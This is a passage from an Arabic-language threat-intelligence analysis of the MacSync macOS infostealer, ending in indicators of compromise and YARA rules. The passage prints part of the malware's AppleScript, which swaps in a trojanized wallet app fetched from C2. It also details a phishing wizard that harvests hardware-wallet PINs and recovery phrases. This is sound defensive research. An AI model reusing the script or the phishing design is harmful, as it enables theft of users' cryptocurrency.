        do shell script "cp -R /tmp/Trezor Suite.app /Applications/"

        -- Cleanup
        do shell script "rm -rf /tmp/<token>.zip /tmp/Trezor Suite.app"
    end try
end if

يتم إنهاء أي مثيلات قيد التشغيل بقوة. يتم حذف التطبيق الشرعي واستبداله بحزمة ضارة كاملة تم تنزيلها من C2. لا حاجة لرقصة النسخ الاحتياطي/الاستعادة نظرًا لأن التطبيق بأكمله يتحكم فيه المهاجم.

حمولة التصيد الاحتيالي: معالج الاسترداد متعدد الخطوات

الهدف الأساسي لكلا التطبيقين المجانين هو تقديم معالج تصيد مقنع متعدد الخطوات يلتقط أرقام التعريف الشخصية للجهاز وعبارات الاسترداد الكاملة تحت ستار «إصلاح» مشكلة البرامج أو البرامج الثابتة.

يتكون التدفق من ثلاث صفحات رئيسية تحاكي بإحكام واجهة المستخدم الرسمية:

الخطوة 1: مقدمة الخطأ (recovery-step-1.html)

تحتوي هذه الشاشة على عنوان مهدئ مكتوب عليه «حدث خطأ ما...» متبوعًا بنص مطمئن: «لكن لا تقلق! أصول التشفير الخاصة بك آمنة ويمكن الوصول إليها. ربما حدث خطأ أثناء تحديث البرنامج أو ترقية البرنامج الثابت. يمكننا إصلاح هذا بسهولة في بضع خطوات بسيطة. دعونا نبدأ!» يعزز الرسم التوضيحي لجهاز يحتوي على سهم دائري فكرة وجود خلل مؤقت. عبارة بارزة تقول «حسنًا، أنا جاهز!» يعمل الزر على دفع المستخدم إلى المرحلة التالية، مما يقلل الدفاعات من خلال التأكيد على السلامة والبساطة.

الخطوة 2 - إدخال رقم التعريف الشخصي (recovery-step-2.html)

يشير شريط التقدم إلى هذا كخطوة «2 PIN». تقدم الواجهة شبكة أرقام تفاعلية حيث يختار المستخدمون الأرقام «لإدخالها» و «تأكيد» رقم التعريف الشخصي الخاص بهم، مع استكمال التعليمات: «اضغط على الزر الأيسر أو الأيمن لتغيير الأرقام. يظهر نموذج مرئي للجهاز مع الأزرار المميزة جنبًا إلى جنب، مما يكرر عن كثب تجربة الأجهزة الحقيقية. بمجرد التأكيد، ينتقل زر «الخطوة التالية» إلى الأمام.

الخطوة 3 - إدخال عبارة الاسترداد (recovery-step-3.html)

تم وضع علامة «3 RECOVERY PRASE» في شريط التقدم، وتعرض هذه الشاشة مطالبة واضحة: «أدخل عبارة الاسترداد الخاصة بك». يوضح النص الداعم: «عبارة الاسترداد الخاصة بك هي القائمة السرية للكلمات التي قمت بنسخها احتياطيًا عند إعداد جهاز Ledger لأول مرة. لا يحتفظ Ledger بنسخة من عبارة الاسترداد الخاصة بك.» يتم ترتيب أربعة وعشرين حقل إدخال مرقمًا في شبكة، مما يسمح بإدخال كلمة بكلمة. يقوم زر «الاسترداد» بإرسال النموذج بمجرد اكتماله.

يؤدي دعم JavaScript في الحزمة إلى التقاط جميع المدخلات من هذه الصفحات وإخراجها - إما من خلال قنوات IPC المخصصة إلى عملية Electron الرئيسية أو طلبات الشبكة المباشرة إلى البنية التحتية للمهاجم. وتشمل التعديلات الإضافية التي لوحظت في الحزم المستخرجة إعلانات مزود EIP-6963 المحقونة لاختطاف التطبيقات اللامركزية وعمال التشفير القادرين على تعديل المفاتيح أو التلاعب بالتوقيع.

من خلال دمج معالج التصيد الاحتيالي هذا في التطبيقات التي يثق بها المستخدمون بالفعل لإدارة محافظ الأجهزة، يقوم MacSync بإنشاء آلية استمرار خادعة بشكل استثنائي. يمكن للضحايا إدخال بيانات اعتمادهم بعد أسابيع أو أشهر من الإصابة الأولية، معتقدين أنهم ببساطة يحلون مشكلة مشروعة مع برنامج المحفظة الخاص بهم. بمجرد التقاط عبارة الاسترداد، يصبح الأمان المادي للجهاز غير ذي صلة.

الخاتمة

يثبت MacSync أنه على macOS، فإن البرامج الضارة الأكثر خطورة ليست تلك التي تستغل يوم الصفر، بل هي التي تستغل الثقة. يؤدي أمر Terminal الذي تم لصقه مرة واحدة إلى تحويل مستخدم التشفير الحذر إلى ضحية، وتسليم كلمات المرور والمحافظ، وفي النهاية عبارة الاسترداد الخاصة به من خلال التطبيقات التي يعتمدون عليها بالفعل يوميًا.

من خلال إساءة استخدام نقاط الضعف في Electron والتروجانيات المشروطة، يحقق MacSync الثبات الخفي والمدمر على حد سواء. تُظهر البنية التحتية الدوارة لـ jmpbowl.* ومواقع إغراء الاستنساخ أن هذا ليس لمرة واحدة - إنها عملية مستمرة وصديقة للشركات التابعة تم تصميمها على نطاق واسع.

في النهاية، يظل أفضل دفاع بسيطًا ولكنه صعب: لا تقم أبدًا بلصق الأوامر العشوائية في Terminal، بغض النظر عن مدى «شكلها الرسمي». لأنه بمجرد القيام بذلك، لن تقوم بإصلاح جهاز Mac الخاص بك.. أنت من نظام MacSync.

نظرة عامة على سلسلة عدوى MacSync

الملحق: مؤشرات التسوية (IOCs)

ترتبط المؤشرات الفنية التالية بهذه الحملة ويمكن استخدامها للكشف والحظر.

CloudSEK - Indicators of Compromise

Indicators of Compromise (IoCs)

IoC Type Value Note
Phishing Domain
  • macfilevault[.]com
  • macfiledrive[.]com
  • macfilebackup[.]com
  • maccloudvault[.]com
  • maccloudsafe[.]com
  • macclouddrive[.]com
Primary clickfix distribution site.
C2 Domain
  • jmpbowl[.]xyz
  • jmpbowl[.]today
  • jmpbowl[.]space
  • jmpbowl[.]top
  • jmpbowl[.]world
  • jmpbowl[.]shop
  • jmpbowl[.]fun
  • jmpbowl[.]coupons
Used for credential exfiltration and C2.
Recommendation: Block all jmpbowl.* domains at the network level. Monitor for new registrations using this prefix.
Exfil Artifact /tmp/osalogging.zip Compressed loot archive
File Hashes (SHA-256)
Trojanized Ledger Wallet.app app.asar Hash:
  • ec6bc84be18ce4cb55fb915370c00f2a836ffefc65c6b728efb8d2d28036e376
info.plist:
  • c99dea85f0ef8d3e2f3771c8ebd02d7dee0d90efc5c8392e5c266a59640a4206
For identification by antivirus and EDR tools.
Note:
These files are selectively overwritten in legitimate Ledger Wallet.app bundles located at:
  • /Applications/Ledger Wallet.app/Contents/Resources/app.asar
  • /Applications/Ledger Wallet.app/Contents/Info.plist

قواعد يارا

القاعدة 1: اكتشاف الحمولة الصافية لـ MacSync AppleScript

rule MacSync_AppleScript_Stealer
{
    meta:
        description = "Detects MacSync infostealer AppleScript payload"
        author = "WaterBucket"
        date = "2025-12-16"
        reference = "MacSync Technical Analysis"

    strings:
        $s1 = "MacSync Stealer" ascii
        $s2 = "osalogging.zip" ascii
        $s3 = "Enter your system password to continue verification" ascii
        $s4 = "GrabFolderLimit" ascii
        $s5 = "jmpbowl.xyz" ascii
        $ext1 = "nkbihfbeogaeaoehlefnkodbefgpgknn" ascii  // MetaMask extension ID
        $ext2 = "bfnaelmomeimhlpmgjnjophhpkkoljpa" ascii  // Phantom

    condition:
        4 of ($s*) or all of ($ext*)
}

القاعدة 2: محفظة دفتر الأستاذ الثلاثية. ملفات التطبيق

rule MacSync_Trojanized_Ledger
{
    meta:
        description = "Detects known malicious files from trojanized Ledger Wallet.app"
        author = "Waterbucket"
        date = "2025-12-16"

    condition:
        hash.sha256(0, filesize) == "ec6bc84be18ce4cb55fb915370c00f2a836ffefc65c6b728efb8d2d28036e376" or  // app.asar
        hash.sha256(0, filesize) == "c99dea85f0ef8d3e2f3771c8ebd02d7dee0d90efc5c8392e5c266a59640a4206"     // Info.plist
}

المراجع

https://moonlock.com/macc-stealer-macsync 

https://www.broadcom.com/support/security-center/protection-bulletin/macsync-stealer-malware 

https://exchange.xforce.ibmcloud.com/osint/guid:1fe278fd06404638a50bf7b126f9075c

داراني سنجاي
أبحاث نقاط الضعف
No items found.

Related Blogs